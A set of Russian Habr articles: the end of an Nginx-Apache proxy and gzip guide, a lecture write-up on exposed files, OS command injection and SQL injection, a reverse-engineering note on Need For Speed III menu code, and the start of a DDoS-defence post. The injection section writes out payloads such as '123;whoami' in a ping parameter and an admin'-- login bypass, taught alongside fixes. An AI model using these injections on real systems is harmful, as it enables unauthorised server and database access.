Теперь конфигурация усложнится. Сначала позаботьтесь, чтобы и в Nginx, и в Apache существовал один и тот же виртуальный хост, с одинаковым корнем. Пример для Nginx:
```
server {
listen 80;
server_name example.com;
root /var/www/example.com/;
}
```
Пример для Apache:
```
DocumentRoot "/var/www/example.com/"
ServerName example.com
```
Теперь задаем настройки для вышеописанной схемы:
***Nginx:***
```
server {
listen 80;
server_name example.com;
location / {
root /var/www/example.com/;
index index.php;
}
location ~ \.php($|\/) {
proxy_pass http://127.0.0.1:81;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
}
}
```
***Apache:***
```
# настройки mod_rpaf
RPAFenable On
RPAFproxy_ips 127.0.0.1
RPAFheader X-Real-IP
DocumentRoot "/var/www/example.com/"
ServerName example.com
```
Регулярное выражение `\.php($|\/)` описывает две ситуации: запрос к *\*.php* и запрос к *\*.php/foo/bar*. Второй вариант необходим для работы многих CMS. При запросе *example.com/* запрос будет переписан в *example.com/index.php* (т.к. мы определили index-файл) и также будет проксирован на Apache.
### Ускоряемся: gzip\_static+yuicompressor
Gzip в Web это хорошо. Текстовые файлы отлично сжимаются, трафик экономится, и контент быстрее доставляется пользователю. Nginx умеет сжимать на лету, так что тут проблем нет. Однако на сжатие файла тратится определенное время, в том числе процессорное. И тут на помощь приходит директива Nginx **gzip\_static**. Суть ее работы в следующем: если при запросе файла Nginx находит файл с таким же именем и дополнительным расширением ".gz", например, style.css и style.css.gz, то вместо того, чтобы сжимать style.css, Nginx прочитает с диска уже сжатый style.css.gz и отдаст его под видом сжатого style.css.
Настройки Nginx будут выглядеть так:
```
http {
...
gzip_static on;
gzip on;
gzip_comp_level 9;
gzip_types application/x-javascript text/css;
...
```
Прекрасно, мы один раз будем генерировать .gz файл, чтобы Nginx много раз его отдал. А дополнительно мы будем сжимать css и js при помощи [YUI Compressor](http://developer.yahoo.com/yui/compressor/). Эта утилита максимально минимизирует css и js файлы, удаляя пробелы, сокращая наименования и т.д.
А заставить все это сжиматься автоматически, да еще и обновляться автоматически можно при помощи cron и небольшого скрипта. Пропишите в cron для запуска раз в сутки следующую команду:
```
/usr/bin/find /var/www -mmin 1500 -iname "*.js" -or -iname "*.css" | xargs -i -n 1 -P 2 packfile.sh
```
в параметре *-P 2* укажите число ядер вашего процессора, не забудьте прописать полный путь к *packfile.sh* и изменить */var/www* на ваш веб-каталог.
В файл *packfile.sh* пропишите:
```
java -jar /var/www/gzip/yuicompressor-2.4.2.jar "$1" | gzip -c -9 > "$1.gz"
```
не забудьте указать правильный путь к *yuicompressor-2.4.2.jar*.
Это все, готов выслушать критику :) | https://habr.com/ru/post/108211/ | null | ru | null |
# Веб-безопасность 200
В информационной безопасности есть казалось бы очевидные вещи. Но они все еще часто встречаются, в том числе в крупных компаниях и государственных организациях. На эту тему эксперт по информационной безопасности и преподаватель [**Иван Юшкевич**](https://twitter.com/w34kp455) провел мастер-класс по безопасности на конференции **РИТ++** на платформе [hacktory.ai](http://hacktory.ai).
Практическую часть МК о том, как накрутить лайки в социальных сетях, украсть криптовалюту и получить доступ к самым большим секретам пользователей, вы можете посмотреть [здесь](https://clck.ru/XLH8K) и [здесь](https://clck.ru/XLH9x).
Теоретическую часть пришлось разбить на 3 части. Сегодня рассказ будет о том, что злоумышленник может сделать с найденными файлами и директориями. А также, как используется удаленное выполнение кода (инъекции), в том числе и в SQL.
Поиск файлов и директорий
-------------------------
Одна из самых распространенных проблем, связанная с информационной безопасностью — файлы хранятся в общедоступном виде. Это касается файлов с чувствительной информацией или тех, про которые забыли, например:
* Файлы административной панели (/admin.php);
* Бэкапы и логи (/log.txt; /back.sql; /backup.tar.gz);
* Структура веб проекта;
* Файлы систем контроля версий (/.git);
* Отладочные файлы (test.php);
* Скрытые копии редактируемых файлов (/admin.php-).
Это в принципе может быть всё что угодно. Но это то, что не должно находиться в открытом доступе и может стать угрозой, если файл кто-то обнаружит.
Угрозы могут быть самыми разными. Начиная от того, что человек может получить доступ к интересной информации о сервере, например, php-info. И заканчивая серьезными вещами. Например, если он сможет найти систему контроля версий, то при некоторых особенностях он сможет получить даже доступ к исходному коду самого веб-приложения.
> *Важно всегда держать в голове:*
>
> *1. Не полагайтесь на то, что если вы переименовали какой-то ресурс, то подобрать название крайне сложно. Злоумышленник может найти любой ресурс, каким бы замысловатым его название ни было.*
>
> *2. Никогда не храните бэкапы и файлы конфигураций в общей директории веб-ресурсов. Это очевидно.*
>
> *3. Иногда дополнительное расширение или новые панели могут создавать собственные файлы и ресурсы. Их тоже необходимо закрывать от публичного доступа.*
>
>
### Ищем файлы и директории
Предположим, есть некоторый ресурс. Мы на него зашли и обнаружили, что есть файл index.html, папки со скриптами и стилями (/css/, /js/) и несколько api-ручек (/api/v1/user/: login, register, info/:id/).
В принципе, ничего интересного. Однако если применить один из инструментов (его мы рассмотрим чуть позже) для поиска файлов и скрытых директорий, можно обнаружить еще 5 интересных адресов.
Рассмотрим каждую из них и подумаем, какую угрозу они в принципе могут нести. Начнем снизу.
#### Test.php
Test.php, да и любые отладочные файлы могут представлять абсолютно разную функциональность, начиная от простой информации или вывода на страничку «Привет, мир», и заканчивая теми, что помогут злоумышленнику скомпрометировать сервер.
Исследуя веб-ресурс, можно найти поддомены, например, тестовые, и на них поискать скрипты, которые использовались для отладки, тестирования или чего-то еще. С их помощью можно получить доступ к серверу. Довольно много ресурсов были таким образом скомпрометированы.
> *Например, один из исследователей* [*зарепортил*](https://hackerone.com/reDorts/165930) *уязвимость, обнаружив на сайте скрипт check.php, и получив с его помощью доступ к информации о сервере. Скорее всего, это было самое тривиальное PHP-info, но все же такие вещи встречаются в реальной жизни.*
>
>
Рассмотрим следующую папку.
#### Директория /.git/
/.git/ cодержит изменения и артефакты системы контроля версий. Если её обнаружат, а ее не почистили, не удалили или не закрыли к ней доступ, то можно получить доступ даже к исходным кодам всего проекта. Нужно будет просто восстановить те или иные файлы по их артефактам. Звучит интересно, потому что так возможен доступ к исходному коду файла test.php.
А проанализировав test.php, мы могли бы узнать, например, что он создавал бэкапы с определенным названием в папке /backup/.
#### Директория /backup/
Ее название говорит само за себя. Там может оказаться что угодно, начиная от исходных данных самого приложения и заканчивая бэкапами БД. И она может нанести непоправимый ущерб, если находится в открытом доступе. В этом случае можно получить доступы к учетным записям, исходным кодам, БД — к чему угодно.
> *Может показаться, что эта уязвимость прямо из 90-х. Однако нет, она встречается повсеместно. Например, на одном из сайтов — к слову, на сайте Министерства безопасности США — исследователь* [*нашел*](https://hackerone.com/reports/195544) *такую папку и получил доступ к бэкапам.*
>
>
#### Директория /access/
Можно найти папку /access/ с говорящим файлом access.log, в котором, собирается какая-то информация (логи). Эти логи иногда могут содержать тоже очень интересную информацию, критичную для веб-ресурса.
Проанализировав access.log, можно найти некоторую папку, явно указывающую, что она принадлежит к административной панели. И если после анализа директории /backup/ у нас доступ к backup БД, то мы знаем, какие пользователи и их пароли нужны, чтобы получить доступ к этой административной панели. То есть из одной уязвимости можно получить доступ к административной панели, даже если у нее странное название, которое нелегко подобрать.
> *Один исследователь исследовал ресурс мессенджера Slack и* [*нашел*](https://hackerone.com/reports/503283) *файл, или даже ручку под названием debug (тоже вполне говорящее название). С его помощью он получил информацию о том, какие пользователи сейчас находятся в системе, их API адреса, идентификаторы сессий и многое другое Вознаграждение составило $1500.*
>
>
#### Директория /api/v1/user/
Не только файлы или папки могут являться угрозой. Иногда проблема может крыться в API-ручках. Поскольку считается правильным делать ручки (названия функций) говорящими, чтобы можно было легко понять, к чему они относятся, то злоумышленник может попробовать поперебирать те или иные составляющие части адреса ручек.
Например, заменить user на admin, чтобы получить доступ к другой ручке, изначально скрытой, и которая может использоваться в той самой административной панели. Если она не требует никакой авторизации и на ней не проверяется контроль доступа, то, совершить с её помощью какие-то противоправные действия.
То есть, хотя изначально сайт состоял всего из 7 адресов, за каждым из них может быть огромное количество скрытой информации, которая может позволить скомпрометировать сервер. Не надейтесь, что переименовав скрипт во время тестирования сайта или переноса данных, вы закроете доступ к данным. Всё это можно найти.
### Инструменты
Инструментов для поиска файлов и директорий огромное количество. В другой статье на Хабре подробно [рассказано](https://habr.com/ru/company/dsec/blog/452836/) об этом.
В интернете также можно найти подборки словарей с интересными файлами, которые могут быть не удалены с сервера или, скорее всего, существуют на многих серверах.
### Как избежать нахождения информации
Как обезопасить наше веб-приложение от того, чтобы кто-то не нашел чувствительную информацию и не использовал ее во вред?
> ***Не хранить чувствительные данные в открытом доступе – самое очевидное решение.***
>
>
А если мы что-то и храним, например, по каким-то ручкам или в каких-то файлах, то всегда проверять, что эта информация в сети интернет не находится в публичном доступе. Что файлы и ручки прикрыты, может быть, паролями или настройки на веб-сервере не позволяют получить к ним доступ по прямым ссылкам.
Если ставим дополнительные плагины, директории и т.п., то нужно проверять, что они не создают какую-то информацию или сама настройка веб-сервера не раскрывает эту информацию. Например, если был ресурс, настроенный на работу с веб-сервером Apache, а потом эту настройку перенесли на Nginx, то иногда некоторые файлы и директории могут стать станут доступными для сторонних пользователей.
В любом случае, если мы пытаемся что-то скрыть, это всегда, скорее всего, будет найдено. Поэтому при разработке стоит учитывать, что если куда-то у пользователя доступа быть не должно, он туда и ходить не должен.
Перейдем к следующей уязвимости.
Удаленное выполнение кода (инъекции)
------------------------------------
Внедрение команд — одна из самых распространенных и уязвленных уязвимостей. Она относится в OWASP к классу А1 под названием инъекция, и на самом деле, неважно, чего — кода или команд. Инъекция может быть абсолютно везде.
Сначала рассмотрим самое простое и тривиальное внедрение команд.
### Внедрение команд
Суть уязвимости крайне проста: пользователь передает некоторые данные и они попадают в какую-то строку, которая потом передается на выполнение в оболочку ОС. То есть атака возможна, когда приложение формирует команду к ОС и подставляет в неё небезопасные данные, контролируемые пользователем — GET/POST параметры, HTTP-заголовки, Cookies, и т. д. В результате все данные из не доверенных источников попадают куда бы то ни было без валидации этих данных.
В большинстве случаев это возможно из-за недостаточной валидации входных данных. Если мы куда-то передаем пользовательские данные, никак их не обрабатываем и не проверяем, то, скорее всего, в огромном количестве случаев это приведет к проблемам.
Предотвратить внедрение команд возможно, если принимать меры безопасности на стадиях проектирования и разработки приложения.
### Ищем возможность внедрения команд
Уязвимость можно обнаружить, проверяя код. Проверьте, вызываются ли какие-либо методы исполнения команд и принимается ли в качестве данных для этих команд не прошедший валидацию пользовательский ввод.
#### PING
Рассмотрим хрестоматийный пример. Допустим, у нас есть сайт vuln.com и скрипт /ping.php:
Этот скрипт вызывает утилиту ping, которая отправляет запросы на ip-адрес, а он попадает в скрипт в качество аргумента. Затем скрипт возвращает вывод команды на экран. То есть это некоторый сервис, который что-то пингует. В нормальном случае мы подставляем туда ip-адрес 8.8.8.8:
`vuln.com/ping.php?ip=8.8.8.8 fc`
В результате выполняется команда: ‘ping - с 4’ 8.8.8.8. Как вы можете заметить, в этом коде данные подставляются, как есть. Поэтому нам ничто не мешает вместо 8.8.8.8 (ведь никто не проверяет, что это ip-адрес и что он содержит некорректные управляющие символы) передать при отправке в качестве аргумента значения 123;whoami. “**;”** будет являться управляющим символом, который свидетельствует о разделении команд.
Тогда сформированная команда будет выглядеть следующим образом:
`‘ping - с 4’ 123;whoami`
Команда попробует пропинговать адрес 123, и естественно, сделать это не сможет. А так как “**;”** говорит, что предыдущая команда закончилась и началась следующая, то скрипт выполнит “whoami”. Собственно, в этом и заключается суть уязвимости. Она крайне простая, но в результате данные пользователей попадают в необработанном виде куда-то, где и исполняются.
> *Может показаться, что это тоже архаизм, и сейчас его найти невозможно. Однако нет. В качестве примера есть такой* [*report*](https://hackerone.com/reports/546753)*.*
>
>
Рассмотрим его подробнее.
#### Nextcloud
Существует ПО Nextcloud, которое позволяет создавать свое облако и шарить файлы — такое standalone решение. В 2018 году исследователь нашел в нем уязвимость как раз через внедрения команды.
Посмотрите на 11 строку. Выполняются функция “exec”, команда “unrar” и передаются значения переменных “file” и “dir”. Последние получаются, как показывает этот код, из архива “rar”, который, скорее всего, может как-то передавать пользователей. То есть если исследователь сможет сформировать такой архив “rar”, в котором будет содержаться имя “file с ;”, то при распаковке он сможет выполнить свою стороннюю команду и получить доступ к серверу.
Да, наверное, он не сможет это сделать штатными способами, но есть ПО, которое это сделает за него. А если там содержатся приватные данные или сервер используется как корпоративный dropbox?
Но не только PHP уязвим к данному классу атак. Например, если вы используете какие-то библиотеки, уязвимость может открыться в них.
#### Image Magick
Набор утилит (ПО) Image Magick отвечает за конвертацию изображения и их обработку. Огромное количество компаний использовала его для обработки изображений.
И также много исследователей нашли уязвимости внутри Image Magick, которые позволяла выполнять произвольные команды.
Найденные уязвимости1. [H1514 Remote Code Execution on kitcrm using bulk customer update of Priority Products](https://hackerone.com/reports/422944) ($15000)
2. [RCE in profile picture upload](https://hackerone.com/reports/135072) ($2500)
3. [ImageMagick GIF coder vulnerability leading to memory disclosure](https://hackerone.com/reports/302885) ($500)
4. [RCE using bash command injection on /system/images (toimitilat.lahitapiola.fi)](https://hackerone.com/reports/303061) ($6800)
5. [Remote Code Execution on www.semrush.com/my\_reports on Logo upload](https://hackerone.com/reports/403417) ($10000)
Рассмотрим, в чем суть данной уязвимости.
ImageMagick в конфигурации использовал некоторые сторонние утилиты, в которые он подставлял строки из файлов или метаданных файла и дальше собирал какие-то данные. В итоге получалось, что в некоторую конфигурацию он подставлял те данные, которые приходили от пользователя, и вызывал те или иные команды, чтобы получить результат.
В итоге пользователь мог передать какую-нибудь картинку (например, аватарку) в формате SVG, внутри которой была ссылка на стороннюю картинку. При конвертации картинки, которая внутри SVG, ImageMagick пытался ее запросить с помощью команды wget, и подставлял адрес той картинки. Что приводило к тому, что можно было поставить двойную кавычку и выполнить стороннюю команду.
#### Компоненты
Под капотом всех приложений, которые сейчас издаются, кроется огромное количество разнообразных взаимосвязанных компонент и библиотек.
https://engineering.videoblocks.com/web-architecture-101-a3224e126947Каждая компонента состоит из множества библиотек, даже из таких, которые мы просто скачали и начали использовать. Уязвимости могут крыться как раз в этих библиотеках. Мы можем быть не виноваты, но наше ПО все равно будет уязвимо.
Сами посудите, есть некоторый сервис, который может заниматься абсолютно какой-нибудь ерундой, если смотреть в рамках всего приложения. Однако в нем какой-то компонент использует библиотеку, о существовании которой мы не знаем — и в ней кроется уязвимость. По цепочке это приводит к тому, что всё наше приложение, как бы круто оно ни было написано, становится уязвимым.
#### Поиск уязвимости blackbox методом
Инъекции могут быть в разных местах команды. Иногда инъекция может выполниться даже после правильного завершения команды.
Существуют разные спецсимволы, которые позволяют разделить команды:**; ,&,&&, | , 11 , >.** Выбор спецсимвола влияет на условия — параллельное или последовательное выполнение, в зависимости или вне от того, что возвращает первая команда, перенаправление вывода и так далее.
Например, можно внедрить команду “sleep” и посмотреть, увеличится ли время выполнения (базовое время выполнения скрипта ping.php — около 4 секунд). Если поставить символ **&**, который говорит, что команда должна выполняться параллельно, то сервер вернет ответ за 5 секунд. А если восьмерки обернуть кавычками, то команда завершится неправильно:
В принципе можно сформировать несколько небольших универсальных векторов, используя команды, которые есть почти в любой ОС типа sleep, и проверять вектора на эксплуатацию. Естественно, для эксплуатации той или иной совместимости надо выполнять нормальные команды, например, “sleep”. Они помогут подтвердить, что уязвимость присутствует.
Если можно увидеть ответ от сервера, то станет ясно, от какого пользователя выполнялось приложение или скрипт. Если результат выполнения команды не отображается на странице, речь идет о слепой инъекции. Об исполнении команды можно понять по косвенным признакам:
* По времени. Для этого используйте функции sleep<), benchmark) и аналогичные.
* Запрос на внешний сервис и разрешение DNS имени. Попробуйте команды ping, nslookup, dig, whois.
В большинстве случаев выполнение произвольных, но безвредных команд вроде sleep, id, hostname, whoami достаточно для подтверждения критичности уязвимости.
#### Поиск уязвимости при наличии исходных текстов (White Box)
Если у нас есть доступ к коду, почему бы не проанализировать его?
Абсолютно во всех языках программирования есть функции, которые отвечают за вызов командной оболочки или за исполнение стороннего кода. У всех этих функций, что хорошо, имеются говорящие названия: exec, system, start. Поэтому, даже не имея навыков разработки на определенном языке программирования, можно поискать функции с говорящими названиями и, возможно, это будет иметь успех.
### Инструменты
При наличии исходных текстов уязвимость можно обнаружить поиском небезопасных функций, специфичных для данного языка программирования. Здесь помогут даже **grep** или **notepad++**.
Однако есть довольно много инструментов, которые позволяют автоматизировать такой поиск и исследовать исходный код на наличие тех или иных уязвимостей:
Анализаторы кода* Checkmarx;
* Cppcheck для C++ и C;
* Rats, который работает типа «грепалки»;
* RIPS – крутой анализатор для PHP (сейчас есть в платном и бесплатном варианте);
* Findbugs для языка Java;
* GREP
* Много их...
Однако обратите внимание, что многие из них выполняют статический анализ и ищут уязвимости, связанные именно с программированием. Например, как используется переменная: не используется вообще или вызывается 3 раза и при этом ни для чего не работает. Многие из этих инструментов заточены только под статический анализ, а не под безопасность. Скорее всего, они найдут какие-то уязвимости, но далеко не все.
### Исправление и предотвращение внедрения команд
Весь пользовательский ввод или любые данные, которые приходят из не доверенных источников, мы должны обрабатывать, и эти данные должны **проходить валидацию**.
> *Символы, которые необходимо фильтровать:* ***<>&\*'!-?; []А~! . " % @ \ '***
>
>
Во всех языках программирования и фреймворках есть специальные функции, которые позволяют безопасно выполнять те или иные команды, например, ProcessBuilder в Java. Для построения команды эти функции должны использоваться обязательно.
Но если в какой-то команде есть ряд параметров, из-за которых команда сама по себе может представлять угрозу, то злоумышленнику, понятное дело, достаточно её и нет смысла вызывать стороннюю команду.
Также желательно, чтобы веб-приложение и его компоненты работали **по принципу наименьших привилегий.** То есть если мы запускаем наше приложение от root, не стоит потом говорить, что жизнь не очень легка. Если даже злоумышленник найдет уязвимость, проэксплуатирует ее и получит доступ к серверу, нужно, чтобы он потратил еще уйму времени и несколько раз просигнализировал о себе. Чтобы мы смогли его обнаружить и закрыть ту или иную дыру.
Посмотрим теперь на другой вид инъекций.
SQL-инъекции
------------
В общем смысле с помощью SQL-инъекции злоумышленник может контролировать запросы, которые приложение выполняет в базе данных. Инъекция возникает, когда приложение подставляет неотфильтрованные данные из запроса пользователя (например GET/POSТ параметры, HTTP заголовки) в запрос к базе данных без какой-либо обработки.
Это позволяет злоумышленнику внедрить свой стиль команды, изменить логику SQL запроса и таким образом получить доступ к чувствительным данным, хранящимся в БД, например: данным пользователей, платежным данным, сохраненным паролям, если они лежат не в зашифрованном виде.
В ряде случаев злоумышленник может не только получить данные, но изменить и удалить их, а также — более редкий кейс, но тоже бывает — выполнить код на уровне ОС. Здесь злоумышленник может развить атаку и скомпрометировать весь сервер или другие объекты инфраструктуры.
### Как выглядит уязвимость?
Представим, что у нас есть таблица “Users”для двух пользователей (Боба и Алисы), а также скрипт, который получает от клиента идентификатор userid и выводит имя пользователя по этому значению:
Скрипт возвращает «Bob», потому что у Боба userid=1. И вроде бы код хорош, но это не так, так как он уязвим по SQL-инъекции. Итоговый SQL запрос имеет следующий вид:
Так как 1 подставляется как есть, то можно передать туда какой-то текст. Если коде нет ни санитизации, ни фильтрации пользовательского ввода, то значение GET-параметра id попадет в $sqlQuery как есть. Для эксплуатации злоумышленник должен изменить значение параметра id так, чтобы он содержал вредоносный SQL-код для исполнения.
Это был условно практический пример, теперь перейдем к практическому. Представим стандартную панель входа в сервис, куда нужно ввести имя пользователя и пароль. И есть скрипт аутентификации и таблица с пользователями, у которых есть логины и пароли:
После получения логин и пароль вставляются как есть в SQL запрос к БД. Если запрос будет валидным, то он исполнится, как и должен был. Но если попытаться найти Боба с паролем куча единиц, то получим ошибку, потому что такого пароля нет. И это место для SQL-инъекции.
Как можно использовать эту уязвимость? Например, отправить в качестве логина admin’ и знак комментария:
Благодаря одинарной кавычке запрос закроется раньше, чем это предполагалось. Двойной дефис в MySQL является комментарием, то есть эту часть запроса СУБД при исполнении просто отбросит, а там была проверка пароля. Запрос выполнится успешно и приложение нас пропустит.
### Некоторые разновидности SQL-инъекций
#### UNION BASED
Способ основан на использовании оператора UNION. Предположим, в приложении присутствует две таблицы — статьи (Articles) и пользователи (Users). SQL-инъекция присутствует в запросе к таблице Articles, при этом необходимо извлечь данные из таблицы Users. В этом случае поможет применение SQL-оператора UNION, который объединяет два запроса в один. Важное правило — количество колонок в обоих запросах должно совпадать.
Как это происходит на практике. Представим, что первый запрос содержит 4 столбца. Попытка UNION с запросом из трех столбцов будет неудачна, поскольку БД вернет ошибку. Если Debug Mode включен, мы можем эту ошибку даже увидеть. Но объединение четырех колонок слева и четырех справа будет успешным.
Если колонок в таблице пользователей меньше, можно добавить их с помощью констант, написав 1, 2, 3 и т.д. Или же придётся из таблицы пользователей выбирать нужные колонки.
#### ERROR BASED
Этот способ основан на эксплуатации того, что ошибка в SQL-запросе попадает в содержимое HTML-страницы. То есть мы видим ошибку, которая происходит в нашей СУБД.
В MySQL существует функция extroctvolue(), которая ожидает в качестве аргумента данные в XML представлении, иначе она выбрасывает ошибку. Нетрудно догадаться, что этим можно воспользоваться. Если передать туда невалидные данные, она выполнит запрос и можно будет увидеть версию системы, на которой крутится СУБД. Или пользователя, от имени которого выполняется запрос в СУБД.
#### TIME BASED
Наверное, это самый интересный способ, который основан на времени исполнения запроса. Он применяется, если инъекция «слепая» и на страницу ничего не выводится. То есть можно только по косвенным признакам понять, что там существует SQL-инъекция. Для этого можно воспользоваться функциями:
* sleep() — запрос выполняется долго, как и при использовании обычной консоль-утилиты sleep в Bash;
* benchmark() — что-то выполняет очень много раз, например, может считать миллион раз MD5 от 1.
Также можно использовать конструкции вида:
`IF(expr1,expr2,expr3) - ЕСЛИ «ехрг1» ИСТИНА, то выполни «ехрг2», ИНАЧЕ «ехргЗ»`
Таким образом можно подбирать логин пользователя по букве. Например, если поставить первую букву «А» и запрос не уснет на 10 с, то значит, буква не «А», и т.д., пока запрос не уснет. Как только мы угадаем первую букву пользователя, запрос подвиснет на 10 с.
При этом такую рутину можно автоматизировать утилитой **SQLMAP**.
### Инструменты
**SQLMAP п**оддерживает большинство техник эксплуатации и умеет обходить WAF. У нее автоматическая выгрузка дампа БД, если она найдет уязвимые места SQL-инъекции. Обычно мы должны ей указать какой-то параметр, который по нашему мнению может быть уязвим.
С ее помощью можно выполнять команды (RCE), и она может работать с запросом из Burp. И при этом не нужно вручную составлять все атрибуты командной строки.
### Исправление и предотвращение SQL-инъекций
Мы можем использовать:
1. Параметризированные запросы, когда запросы готовятся заранее, и мы им потом «скармливаем» наши данные;
2. ORM — она сделает всё за нас, и нам не нужно будет беспокоиться;
3. Query-билдеры, то есть составители запросов, которые нам предоставляют фреймворки. PHP-фреймворки этим богаты, такие как Symfony, Laravel и Spring. На выходе получается производительность обычных запросов.
В следующей статье рассказ будет про Cross Site Request forgery (CSRF), XSS (Cross Site Scripting или межсайтовый скриптинг) и XXE: XML External Entity Processing.
> [FrontendConf 2021](https://clck.ru/XLF4F) — это два дня интересных докладов, ярких встреч и много-много нетворкинга. [Расписание](https://clck.ru/XLF6u). [Билеты](https://clck.ru/XLFAf). [Доклады](https://clck.ru/XLFCh).
>
> Встречаемся 11-12 октября в Москве!
>
> | https://habr.com/ru/post/570032/ | null | ru | null |
# Пишите код так, как будто сопровождать его будет склонный к насилию психопат, который знает, где вы живёте
..., даже если проект не планируется развивать и вы не собираетесь делиться исходными кодами, потому что через 20 лет какой-нибудь маньяк будет изучать и дорабатывать машинный код вашего продукта, и он может захотеть вас найти.
Вообще я достаточно редко играю в компьютерные игры. Бывало, не играл по несколько лет подряд. Но иногда во мне просыпается маленький реверс-инженер, который мотивирует меня забраться в машинный код какой-нибудь любимой игрушки из прошлого. В последний год я занимался [доработкой Need For Speed III: Hot Pursuit (1998 года)](http://veg.by/ru/projects/nfs3/). Это моя любимая игра в жанре, но теперь я, к своему сожалению, знаю о том, насколько отвратительно она написана. Большое количество маленьких багов в самых неожиданных местах — прямое следствие низкого качества кода.
Насколько всё плохо?
--------------------
В исполняемом файле огромное количество кода, который остался в наследство от предыдущих частей игры и не используется, то есть устаревший код не удалялся разработчиками, причём мне встречались случаи, когда какой-то устаревший код вызывался, но результаты его работы игнорировались, потому что обновлённому коду они уже были не нужны. В игре всюду используются статичные массивы фиксированного размера, во многих случаях отсутствуют проверки выхода за пределы массива, что приводит к падениям, когда какого-то зарезервированного объёма памяти не хватает. В игре используется большое количество грязных хаков. Например, функция гонки по отражённому варианту трассы реализована не отражением модели трассы при её загрузке, а переворотом каждого кадра при рендеринге, с инверсией кнопок «лево» и «право» и ряда аналогичных подмен там, где разработчики не забыли добавить соответствующий код. Из-за этого надписи на машинах (например, копов) отражены, а во время гонок копы путают «право» и «лево» при переговорах по рации. Есть и ошибки, явно связанные с использованием магических чисел в коде вместо именованных констант, когда значение константы в процессе разработки было изменено, но остался код, который использует старое значение и работает неправильно. Но один случай оказался забавным настолько, что мне захотелось поделиться им в рамках небольшой заметки.
Сколько ошибок может быть в 4 вариантах одного и того же кода?
--------------------------------------------------------------
В игре присутствовал один незначительный баг, связанный с отступами в выпадающих меню. Например, если был выбран режим «Hot Pursuit», левый отступ всех верхних выпадающих списков значительно увеличивался без явной на то необходимости.
 
Я предположил, что это связано с ошибкой в коде, который добавляет пространство для вывода иконок прохождения в выпадающем списке трасс, которые как раз и должны отображаться только в режиме «Hot Pursuit».
 
Обычные выпадающие списки тоже имели проблемы с отступами в зависимости от режима, но не в такой явной форме. Поскольку я как раз копался рядом с соответствующим кодом, решил заодно исправить и это странное поведение.
Тут стоит отметить, что в коде игры не встречаются следы вещей вроде наследования, так что скорее всего она писалась на чистом C. В игре реализован код, который читает списки элементов меню и их свойства из внешних текстовых файлов, но разработчики часто ленились добавлять поддержку какого-то нового свойства, и писали дополнительный код, опираясь просто на имя элемента. Например, код вывода выпадающих списков сам проверяет название текущего элемента и какие-то другие переменные, и в зависимости от этого может применять какую-то дополнительную логику.
Так оказалось и здесь. Поскольку в меню используется два разных типа выпадающих списков (обычный и верхний), весь код работы с ними был целиком продублирован дважды. Помимо этого оказалось, что левый отступ выбирается разными фрагментами кода при вычислении левой и правой границы выпадающего списка. Итого — по идее у нас должно быть 4 копии одного и того же кода. Как бы не так!
Вариант 1 (при вычислении отступа левой границы обычной выпадашки):
На C это выглядело примерно так:
```
dw_padding = (stricmp(str_element_name, "tracks") == 0 && dw_cfg_race_type == 3) ? 35 : 15;
```
Вариант 2 (при вычислении отступа правой границы обычной выпадашки):
На C это выглядело примерно так:
```
dw_padding = (stricmp(str_element_name, "tracks") == 0 || stricmp(str_element_name, "rectrk") == 0) ? 35 : 15;
```
Варианты 3 и 4 (при вычислении отступа левой и правой границ выпадашки под заголовком):
 
На C это выглядело примерно так:
```
dw_padding = (dw_cfg_race_type == 3) ? 35 : 15;
```
Все варианты вместе (для наглядности):
```
dw_padding = (stricmp(str_element_name, "tracks") == 0 && dw_cfg_race_type == 3) ? 35 : 15;
dw_padding = (stricmp(str_element_name, "tracks") == 0 || stricmp(str_element_name, "rectrk") == 0) ? 35 : 15;
dw_padding = (dw_cfg_race_type == 3) ? 35 : 15;
```
Какой же вариант правильный? Ответ: ни один! Только если мы объединим все проверки вместе, мы можем получить единственно верный вариант кода, и выглядел бы он примерно так:
```
dw_padding = (dw_cfg_race_type == 3 && (stricmp(str_element_name, "tracks") == 0 || stricmp(str_element_name, "rectrk") == 0)) ? 35 : 15;
```
Итого у нас 4 варианта одного и того же кода, при этом в разных вариантах допущено 3 разные ошибки! Просто уникальный случай и отличная демонстрация того, почему копипаста — это плохая идея.
Как это было исправлено?
------------------------
О том, как вносятся изменения в машинный код, я [писал ранее](https://habrahabr.ru/post/51857/). Для исправления проблемы я написал одну функцию:
Все приведённые выше фрагменты кода были заменены на вызов этой функции. Теперь отступы в списках выбираются правильно :) И это лишь одно из более чем 200 изменений, которые были сделаны в [патче](http://veg.by/ru/projects/nfs3/). Описанное изменение на самом деле одно из самых маленьких, но зато сама ошибка, на мой взгляд, была интересной (как демонстрация вреда от соответствующего антипаттерна).
Выводы?
-------
А теперь подумайте. Если здесь нашёлся самозванец, который взялся исправлять без спроса чужие баги в программе без исходных кодов, может найтись и тот, кто в итоге будет настолько зол, что у него появится желание отыскать разработчика или его родственников. А оно вам надо? Пишите качественный код :) | https://habr.com/ru/post/302570/ | null | ru | null |
# Защита от DDOS атаки подручными средствами. Получение доступа к своему серверу
За последнее время, наш сайт часто подвергается достаточно мощным DDOS атакам, к слову последняя атака была самой крупной за последнее время, размер ботнета по нашим оценкам — около 10 тысяч машин, мощность — 100 Mbits/s.
Атаку заметила даже Лаборатория Касперского, и предложила свою помощь в отражении, за что им спасибо. Правда к тому времени мы самостоятельно нашли решение, которое блокирует атаку. Собственно про это решение и пойдет речь.
Все началось в прошлую пятницу в пять часов вечера, и продолжалось до обеда в понедельник. Выходные прошли, за увлекательным занятием по отстрелу ботов. Пришлось немного попотеть, пока нашлось рабочее решение для противодействия атаке.
Атака была типа HTTP Flood. Система на которой у нас работает сайт — Apache под Linux. Мы написали несколько скриптов, которые будут приведены в тексте статьи. В принципе аналогичный подход можно применять и для Windows/IIS.
Попытаюсь рассказать, какие основные шаги мы сделали для отражения атаки, и какие проблемы возникали по ходу:
#### Получение доступа к своему серверу
Из за высокой нагрузки, вызванной атакой, подключение к серверу становится невозможным. Выход — *перезагрузка, плюс хорошая реакция, чтобы попытаться подключится к перезагруженной машине, и отключить сервис, на который производится атака*, и провести анализ атаки. Но при мощной атаке, даже после перезагрузки, подключение очень проблематично. Иногда приходилось перезагружать сервер по нескольку раз, пока удавалось залогинится в систему.
После того как получилось зайти в систему, и выключить апач (service httpd stop) нужно **убрать запуск апача при старте системы.** Это даст возможность получить доступ к машине с помощью перезагрузки, если что-либо пойдет не так. Делается это с помощью команды:
`# chkconfig httpd off`
Решение не идеальное, но для начала пойдет.
#### Автоматическая блокировка атакуемого сервиса при высокой загрузке системы
Перезагружать сервер, при каждой новой волне атаки, довольно плохое решение, т.к. это все время, которое играет против нас.
